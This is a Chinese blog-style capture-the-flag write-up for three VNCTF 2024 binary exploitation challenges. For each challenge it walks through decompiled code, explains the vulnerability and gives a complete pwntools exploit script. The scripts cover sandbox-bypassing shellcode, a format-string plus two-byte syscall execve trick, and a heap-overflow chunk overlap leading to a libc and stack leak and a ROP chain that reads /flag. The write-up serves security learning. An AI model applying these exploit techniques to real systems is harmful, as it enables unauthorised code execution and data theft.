笔记 & WP

2024VNCTF--PWN

Word count: 3.9kReading time: 21 min
2024/02/26

比赛的时候有事情,只能在赛后复现,用了一天的时间,感觉不玩可以拿个方向前几

PWN

shellcode master

开了沙盒

从名字上和沙盒来看,限制了我们读取flag文件内容的函数,于是问了问chatgpt,发现mmap也可以读取文件内容,所以我们就很简单了,

1
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

这里直接设置start为0即可,直接通过mmap返回值就可以得到对应地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]

def get_p(name):
global p,elf
p = process(name)
#p = remote("")
elf = ELF(name)


# flag = u64(b"./flag".ljust(8,b"\x00"))
# print(hex(flag))
code = asm("""
mov rax,0x67616c662f2e
mov rsi,0
mov rdx,0
push rax
mov rax,2
push rsp
pop rdi
syscall

mov rdi,0
mov rsi,0x100
mov rdx,7
mov rcx,2
mov r10,2
mov r8,rax
mov r9,0
mov rax,9
syscall

push rax
pop rsi
mov rax,1
mov rdi,1
mov rdx,0x40
syscall
""")

get_p("./pwn")

gdb.attach(p,"")
sleep(2)
p.send(code)
p.interactive()

preinit

代码审计

main

猜测是全局变量覆盖

确实是全局变量覆盖,就可以直接覆盖checkpass为我们控制的值即可绕过

level1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
unsigned __int64 __fastcall level(char *a1, int a2)
{
int v3; // [rsp+4h] [rbp-11Ch]
char *format; // [rsp+8h] [rbp-118h]
char s[8]; // [rsp+10h] [rbp-110h] BYREF
__int64 v6; // [rsp+18h] [rbp-108h]
__int64 v7; // [rsp+20h] [rbp-100h]
__int64 v8; // [rsp+28h] [rbp-F8h]
__int64 v9; // [rsp+30h] [rbp-F0h]
__int64 v10; // [rsp+38h] [rbp-E8h]
__int64 v11; // [rsp+40h] [rbp-E0h]
__int64 v12; // [rsp+48h] [rbp-D8h]
__int64 v13; // [rsp+50h] [rbp-D0h]
__int64 v14; // [rsp+58h] [rbp-C8h]
__int64 v15; // [rsp+60h] [rbp-C0h]
__int64 v16; // [rsp+68h] [rbp-B8h]
__int64 v17; // [rsp+70h] [rbp-B0h]
__int64 v18; // [rsp+78h] [rbp-A8h]
__int64 v19; // [rsp+80h] [rbp-A0h]
__int64 v20; // [rsp+88h] [rbp-98h]
__int64 v21; // [rsp+90h] [rbp-90h]
__int64 v22; // [rsp+98h] [rbp-88h]
__int64 v23; // [rsp+A0h] [rbp-80h]
__int64 v24; // [rsp+A8h] [rbp-78h]
__int64 v25; // [rsp+B0h] [rbp-70h]
__int64 v26; // [rsp+B8h] [rbp-68h]
__int64 v27; // [rsp+C0h] [rbp-60h]
__int64 v28; // [rsp+C8h] [rbp-58h]
__int64 v29; // [rsp+D0h] [rbp-50h]
__int64 v30; // [rsp+D8h] [rbp-48h]
__int64 v31; // [rsp+E0h] [rbp-40h]
__int64 v32; // [rsp+E8h] [rbp-38h]
__int64 v33; // [rsp+F0h] [rbp-30h]
__int64 v34; // [rsp+F8h] [rbp-28h]
__int64 v35; // [rsp+100h] [rbp-20h]
__int64 v36; // [rsp+108h] [rbp-18h]
unsigned __int64 v37; // [rsp+118h] [rbp-8h]

format = a1;
v3 = a2;
v37 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
v34 = 0LL;
v35 = 0LL;
v36 = 0LL;
mprotect((void *)((unsigned __int64)s & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
sprintf(s, format, 0LL); // format 0x10
check(s);
level2(s);
return v37 - __readfsqword(0x28u);
}

把栈变成可执行的,然后有一个明显的格式化字符串漏洞

check(2)

对我们输入的字符进行加密

level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public level2
level2 proc near

buf= qword ptr -8

; __unwind {
endbr64
push rbp
mov rbp, rsp
sub rsp, 10h
mov [rbp+buf], rdi
push rdi
mov rax, [rbp+buf]
mov edx, 30h ; '0' ; n
mov rsi, rax ; buf
mov edi, 1 ; fd
mov eax, 0
call _write
pop rdi
jmp rdi
level2 endp

这里就非常明显了,有jmp rdi结合上面的栈可执行,应该是跳到栈上执行我们的shellcode,执行前还会进行加密

思路

但是我们实际上运行的时候就会发现level2函数,没有调用write函数,而是执行把s+10的位置后面的数据填充,并且我们jmp的地址是s+8的位置,所以我们只能控制两个字节的shellcode

两个字节的shellcode,就让我想到了syscall指令,再结合前面的s+8的位置

想到可以直接构造一个execve("/bin/sh",0,0)

参数寄存器的值也刚好可以满足

下面就是如何满足rax的值了,其实通过分析就可以发现,在执行完strlen函数后,rax的值就没有变过,所以我们控制s的长度就可以控制rax的长度

我们只需要利用一下上面的格式化字符串漏洞即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
# libc = ELF("./libc-so.6")

def get_p(name):
global p,elf
p = process(name)
#p = remote("")
elf = ELF(name)

code = b"/bin/sh\x00"
code += asm("""
syscall
""")

en_code = b''

for i in code :
en_code += p8(i^0x3b)

en_code += b"%" + bytes(str(0x3c-len(code)),encoding="utf-8") + b"c"
print(len(code))
print(code)
get_p("./pwn")
gdb.attach(p,"b *0x0401328")
sleep(2)
p.sendafter("what is your password:",en_code.ljust(0x10,b"\x00")+b"\x00"*0xf0+en_code)
p.interactive()

ShellShock

代码审计

根据动调结合静态分析,可以知道交互的代码在这:

很炫酷的shell 有点唬人

下面是主体的菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
__int64 __fastcall sub_4678(__int64 a1)
{
__int64 v1; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
__int64 v13; // rbx
__int64 v14; // rax
__int64 v15; // rbx
__int64 v16; // rax
__int64 v17; // rax
__int64 v18; // rax
__int64 v19; // rax
size_t v20; // r12
__int64 v21; // rax
const void *v22; // rbx
__int64 v23; // rax
void **v24; // rax
__int64 v25; // rax
__int64 v26; // rbx
__int64 v27; // rax
__int64 v28; // rax
__int64 v29; // rax
const char **v30; // rax
__int64 v31; // rax
__int64 v32; // rbx
__int64 v33; // rax
__int64 v34; // rax
__int64 v35; // rax
__int64 v36; // rax
__int64 v37; // rax
void **v38; // rax
__int64 v39; // rax
__int64 v40; // rbx
__int64 v41; // rax
__int64 v42; // rax
__int64 v43; // rax
void *v44; // rbx
__int64 v45; // rax
__int64 v46; // rax
__int64 v47; // rax
__int64 v48; // rax
__int64 v49; // rax
__int64 v50; // rax
__int64 v51; // rbx
__int64 v52; // rax
__int64 v53; // rax
__int64 v54; // rax
__int64 v55; // rsi
int i; // [rsp+10h] [rbp-B0h]
int v57; // [rsp+14h] [rbp-ACh]
int j; // [rsp+18h] [rbp-A8h]
int v59; // [rsp+1Ch] [rbp-A4h]
int k; // [rsp+20h] [rbp-A0h]
int v61; // [rsp+24h] [rbp-9Ch]
int v62; // [rsp+28h] [rbp-98h]
int m; // [rsp+2Ch] [rbp-94h]
int v64; // [rsp+30h] [rbp-90h]
int n; // [rsp+34h] [rbp-8Ch]
int v66; // [rsp+38h] [rbp-88h]
int ii; // [rsp+3Ch] [rbp-84h]
__int64 v68; // [rsp+40h] [rbp-80h] BYREF
__int64 v69; // [rsp+48h] [rbp-78h] BYREF
__int64 v70; // [rsp+50h] [rbp-70h] BYREF
char *s1; // [rsp+58h] [rbp-68h]
char v72[32]; // [rsp+60h] [rbp-60h] BYREF
char v73[40]; // [rsp+80h] [rbp-40h] BYREF
unsigned __int64 v74; // [rsp+A8h] [rbp-18h]

v74 = __readfsqword(0x28u);
if ( sub_61A6(a1) == 1 )
{
v1 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v1, "ls") )
{
if ( !sub_61A6(&unk_102E0) )
return 1LL;
for ( i = 0; i < (unsigned __int64)sub_61A6(&unk_102E0); ++i )
{
v3 = sub_61CE(&unk_102E0, i);
std::operator+<char>(v72, "\x1B[1;32m", v3);
sub_6351(v73, v72, "\x1B[0m");
v4 = std::operator<<<char>(&std::cout, v73);
std::operator<<<std::char_traits<char>>(v4, (const char *)&asc_B008[2]);
std::string::~string(v73);
std::string::~string(v72);
}
std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
return 1LL;
}
v5 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v5, "env") )
{
sub_3C72();
return 1LL;
}
v6 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v6, "clear") )
{
std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[2J\x1B[H");
return 1LL;
}
v7 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v7, "exit") )
{
s1 = (char *)malloc(0x210uLL) - 16;
if ( !strcmp(s1, "eeeeeee") )
{
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;32mGoodbye, my eeee\x1B[0m");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
exit(0);
}
v9 = std::operator<<<std::char_traits<char>>(
&std::cout,
"\x1B[1;31mOh! you are not eeee! You are a hacker!\x1B[0m");
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
_exit(0);
}
}
if ( sub_61A6(a1) == 4 )
{
v10 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v10, "echo") )
{
v11 = sub_61CE(a1, 2LL);
if ( (unsigned __int8)sub_61F2(v11, ">") )
{
v57 = 0;
for ( j = 0; j < (unsigned __int64)sub_61A6(&unk_102E0); ++j )
{
v13 = sub_61CE(a1, 3LL);
v14 = sub_61CE(&unk_102E0, j);
if ( (unsigned __int8)sub_639C(v14, v13) )
{
v57 = 1;
break;
}
}
if ( v57 )
{
if ( (unsigned __int64)sub_61A6(a1) <= 0x1FF )
{
if ( dword_10010 )
{
--dword_10010;
v19 = sub_61CE(a1, 1LL);
v20 = std::string::length(v19);
v21 = sub_61CE(a1, 1LL);
v22 = (const void *)std::string::c_str(v21);
v23 = sub_61CE(a1, 3LL);
v24 = (void **)sub_6086(&unk_10300, v23);
memcpy(*v24, v22, v20);
}
return 1LL;
}
else
{
return 1LL;
}
}
else
{
v15 = std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe file ");
v16 = sub_61CE(a1, 3LL);
v17 = std::operator<<<char>(v15, v16);
v18 = std::operator<<<std::char_traits<char>>(v17, " does not exist.\x1B[0m");
std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
return 1LL;
}
}
}
}
if ( sub_61A6(a1) != 2 )
return 0LL;
v25 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v25, "cat") )
{
v59 = 0;
for ( k = 0; k < (unsigned __int64)sub_61A6(&unk_102E0); ++k )
{
v26 = sub_61CE(a1, 1LL);
v27 = sub_61CE(&unk_102E0, k);
if ( (unsigned __int8)sub_639C(v27, v26) )
{
v59 = 1;
break;
}
}
if ( v59 )
{
v29 = sub_61CE(a1, 1LL);
v30 = (const char **)sub_6086(&unk_10300, v29);
v28 = std::operator<<<std::char_traits<char>>(&std::cout, *v30);
}
else
{
v28 = std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe file does not exist.\x1B[0m");
}
std::ostream::operator<<(v28, &std::endl<char,std::char_traits<char>>);
return 1LL;
}
v31 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v31, "rm") )
{
v61 = 0;
v62 = 0;
for ( m = 0; m < (unsigned __int64)sub_61A6(&unk_102E0); ++m )
{
v32 = sub_61CE(a1, 1LL);
v33 = sub_61CE(&unk_102E0, m);
if ( (unsigned __int8)sub_639C(v33, v32) )
{
v61 = 1;
v62 = m;
break;
}
}
if ( v61 )
{
v35 = sub_61CE(a1, 1LL);
if ( (unsigned __int8)sub_61F2(v35, "flag") )
{
v36 = std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe flag cannot be remove!\x1B[0m");
std::ostream::operator<<(v36, &std::endl<char,std::char_traits<char>>);
}
else
{
v68 = sub_6424(&unk_102E0);
v69 = sub_6470(&v68, v62);
sub_64D6(&v70, &v69);
sub_6504(&unk_102E0, v70);
v37 = sub_61CE(a1, 1LL);
v38 = (void **)sub_6086(&unk_10300, v37);
free(*v38);
}
return 1LL;
}
else
{
v34 = std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe file does not exist.\x1B[0m");
std::ostream::operator<<(v34, &std::endl<char,std::char_traits<char>>);
return 1LL;
}
}
v39 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v39, "touch") )
{
v64 = 0;
for ( n = 0; n < (unsigned __int64)sub_61A6(&unk_102E0); ++n )// 判断文件是否存在
{
v40 = sub_61CE(a1, 1LL);
v41 = sub_61CE(&unk_102E0, n);
if ( (unsigned __int8)sub_639C(v41, v40) )
{
v64 = 1;
break;
}
}
if ( v64 )
{
v42 = std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe file already exists.\x1B[0m");
std::ostream::operator<<(v42, &std::endl<char,std::char_traits<char>>);
}
else
{
v43 = sub_61CE(a1, 1LL);
sub_659A((__int64)&unk_102E0, v43);
v44 = malloc(0x210uLL);
v45 = sub_61CE(a1, 1LL);
*(_QWORD *)sub_6086(&unk_10300, v45) = v44;
v46 = sub_61CE(a1, 1LL);
**(_BYTE **)sub_6086(&unk_10300, v46) = 0;
}
return 1LL;
}
v47 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v47, "echo") )
{
v48 = sub_61CE(a1, 1LL);
v49 = std::operator<<<char>(&std::cout, v48);
std::ostream::operator<<(v49, &std::endl<char,std::char_traits<char>>);
return 1LL;
}
v50 = sub_61CE(a1, 0LL);
if ( !(unsigned __int8)sub_61F2(v50, "edit") )
return 0LL;
v66 = 0;
for ( ii = 0; ii < (unsigned __int64)sub_61A6(&unk_102E0); ++ii )
{
v51 = sub_61CE(a1, 1LL);
v52 = sub_61CE(&unk_102E0, ii);
if ( (unsigned __int8)sub_639C(v52, v51) )
{
v66 = 1;
break;
}
}
if ( v66 )
{
v53 = std::operator<<<std::char_traits<char>>(&std::cout, "content:");
std::ostream::operator<<(v53, &std::endl<char,std::char_traits<char>>);
}
else
{
std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe file does not exist, edit failed... \x1B[0m");
}
v54 = sub_61CE(a1, 1LL);
if ( sub_661A(&unk_10300, v54) )
{
v55 = sub_61CE(a1, 1LL);
std::string::basic_string(v73, v55);
sub_44B7(v73);
std::string::~string(v73);
}
else
{
sub_3A09();
}
return 1LL;
}

从做了几次类shell题来说,错误常常是在对文件交互上和echo上,所以我们重点分析一下

echo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
if ( sub_61A6(a1) == 4 )
{
v10 = sub_61CE(a1, 0LL);
if ( (unsigned __int8)sub_61F2(v10, "echo") )
{
v11 = sub_61CE(a1, 2LL);
if ( (unsigned __int8)sub_61F2(v11, ">") )
{
v57 = 0;
for ( j = 0; j < (unsigned __int64)sub_61A6(&unk_102E0); ++j )
{
v13 = sub_61CE(a1, 3LL);
v14 = sub_61CE(&unk_102E0, j);
if ( (unsigned __int8)sub_639C(v14, v13) )
{
v57 = 1;
break;
}
}
if ( v57 )
{
if ( (unsigned __int64)sub_61A6(a1) <= 0x1FF )
{
if ( dword_10010 )
{
--dword_10010;
v19 = sub_61CE(a1, 1LL);
v20 = std::string::length(v19);
v21 = sub_61CE(a1, 1LL);
v22 = (const void *)std::string::c_str(v21);
v23 = sub_61CE(a1, 3LL);
v24 = (void **)sub_6086(&unk_10300, v23);
memcpy(*v24, v22, v20);
}
return 1LL;
}
else
{
return 1LL;
}
}
else
{
v15 = std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe file ");
v16 = sub_61CE(a1, 3LL);
v17 = std::operator<<<char>(v15, v16);
v18 = std::operator<<<std::char_traits<char>>(v17, " does not exist.\x1B[0m");
std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
return 1LL;
}
}
}
}

可以看到这里echo XXXX > XXXX的作用,就类似于写入,并且没有写入大小的判断,所以这里有可能有堆溢出的漏洞

touch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ( (unsigned __int8)sub_61F2(v39, "touch") )
{
v64 = 0;
for ( n = 0; n < (unsigned __int64)sub_61A6(&unk_102E0); ++n )// 判断文件是否存在
{
v40 = sub_61CE(a1, 1LL);
v41 = sub_61CE(&unk_102E0, n);
if ( (unsigned __int8)sub_639C(v41, v40) )
{
v64 = 1;
break;
}
}
if ( v64 )
{
v42 = std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe file already exists.\x1B[0m");
std::ostream::operator<<(v42, &std::endl<char,std::char_traits<char>>);
}
else
{
v43 = sub_61CE(a1, 1LL);
sub_659A((__int64)&unk_102E0, v43);
v44 = malloc(0x210uLL);
v45 = sub_61CE(a1, 1LL);
*(_QWORD *)sub_6086(&unk_10300, v45) = v44;
v46 = sub_61CE(a1, 1LL);
**(_BYTE **)sub_6086(&unk_10300, v46) = 0;
}
return 1LL;
}

这个也可以分析出来,touch xxx本质上就是创造一个文件的结构体,这个文件默认内容大小是malloc(0x210)即是0x220大小的chunk

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
  if ( !(unsigned __int8)sub_61F2(v50, "edit") )
return 0LL;
v66 = 0;
for ( ii = 0; ii < (unsigned __int64)sub_61A6(&unk_102E0); ++ii )
{
v51 = sub_61CE(a1, 1LL);
v52 = sub_61CE(&unk_102E0, ii);
if ( (unsigned __int8)sub_639C(v52, v51) )
{
v66 = 1;
break;
}
}
if ( v66 )
{
v53 = std::operator<<<std::char_traits<char>>(&std::cout, "content:");
std::ostream::operator<<(v53, &std::endl<char,std::char_traits<char>>);
}
else
{
std::operator<<<std::char_traits<char>>(&std::cout, "\x1B[1;31mThe file does not exist, edit failed... \x1B[0m");
}
v54 = sub_61CE(a1, 1LL);
if ( sub_661A(&unk_10300, v54) )
{
v55 = sub_61CE(a1, 1LL);
std::string::basic_string(v73, v55);
sub_44B7(v73);
std::string::~string(v73);
}
else
{
sub_3A09();
}
return 1LL;
}

其实是就是菜单题的edit了,我们定位到它真正写入的作用的函数中

其实也很容易看到,对我们写入的判断,所以不存在漏洞

rm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( (unsigned __int8)sub_61F2(v31, "rm") )
{
v61 = 0;
v62 = 0;
for ( m = 0; m < (unsigned __int64)sub_61A6(&unk_102E0); ++m )
{
v32 = sub_61CE(a1, 1LL);
v33 = sub_61CE(&unk_102E0, m);
if ( (unsigned __int8)sub_639C(v33, v32) )
{
v61 = 1;
v62 = m;
break;
}
}

这里由于是c++代码确实挺难分析是否有UAF漏洞,需要动调手动验证下

思路

根据我们测试rm并没有UAF漏洞,echo中有堆溢出的漏洞

所以我们现在的思路就简单了,通过风水布局使得文件内容的chunk都是紧贴着的,然后通过echo修改chunksize,使得堆重叠

然后在风水布局,使得我们可以利用UAF操作一个文件的文件内容的指针,通过修改为environ地址泄露出来stack,再通过stack地址劫持返回地址,进行ROP

UAF ===> ROP

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""

def get_p(name):
global p,elf
p = process(name)
# p = remote("manqiu.top",20160)
elf = ELF(name)

def touch(name):
p.sendlineafter("$ ","touch "+name)

def edit(name,content):
p.sendlineafter("$ ","edit "+name)
p.sendlineafter("content:",content)

def rm(name):
p.sendlineafter("$ ","rm "+name)

def cat(name):
p.sendlineafter("$ ","cat "+name)

def echo(name,content):
p.sendlineafter("$ ",b"echo "+ content + b" > " + name)


get_p("./pwn")

touch("A"*(0x50+0x210))
for i in range(4):
touch("chunk"+str(i))

for i in range(4):
edit("chunk"+str(i),chr(0x41+i)*0x200)

edit("chunk2",b"\x00"*0x38+p64(0x521-0x40))
echo(b"chunk0",b"A"*0x518+p16(0x521+0x40))
rm("chunk1")
touch("chunk1")
edit("chunk1",chr(0x41+i)*0x200)

cat("chunk2")
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x1feb20
print(hex(libc.address))
rm("chunk1")

touch("B"*(0x50+0x210))
touch("chunk1")
touch("chunk4")

edit("chunk4",'1')
edit("chunk2",p64(libc.sym['environ']))

cat("chunk4")

stack = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x4a8
print(hex(stack))

edit("chunk0","AAAA")
edit("chunk2",p64(stack)+p16(0x31))
# gdb.attach(p,"b *$rebase(0x0462A)")
# sleep(2)
pop_rdi = 0x0000000000028715 + libc.address
pop_rdx_rbx = 0x0000000000093349 + libc.address
pop_rsi = 0x000000000002a671 + libc.address
write_addr = libc.sym['write']
read_addr = libc.sym['read']
open_addr = libc.sym['open']
payload = b"/flag".ljust(8,b"\x00") + p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0)*2 + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x200) + p64(pop_rdx_rbx) + p64(0x50)*2 + p64(read_addr)
payload += p64(pop_rdi) + p64(1) + p64(write_addr)
edit("chunk4",payload)
p.interactive()
CATALOG
  1. 1. PWN
    1. 1.1. shellcode master
      1. 1.1.1. EXP
    2. 1.2. preinit
      1. 1.2.1. 代码审计
        1. 1.2.1.1. main
        2. 1.2.1.2. level1
        3. 1.2.1.3. check(2)
        4. 1.2.1.4. level2
      2. 1.2.2. 思路
      3. 1.2.3. EXP
    3. 1.3. ShellShock
      1. 1.3.1. 代码审计
        1. 1.3.1.1. echo
        2. 1.3.1.2. touch
        3. 1.3.1.3. edit
        4. 1.3.1.4. rm
      2. 1.3.2. 思路
      3. 1.3.3. EXP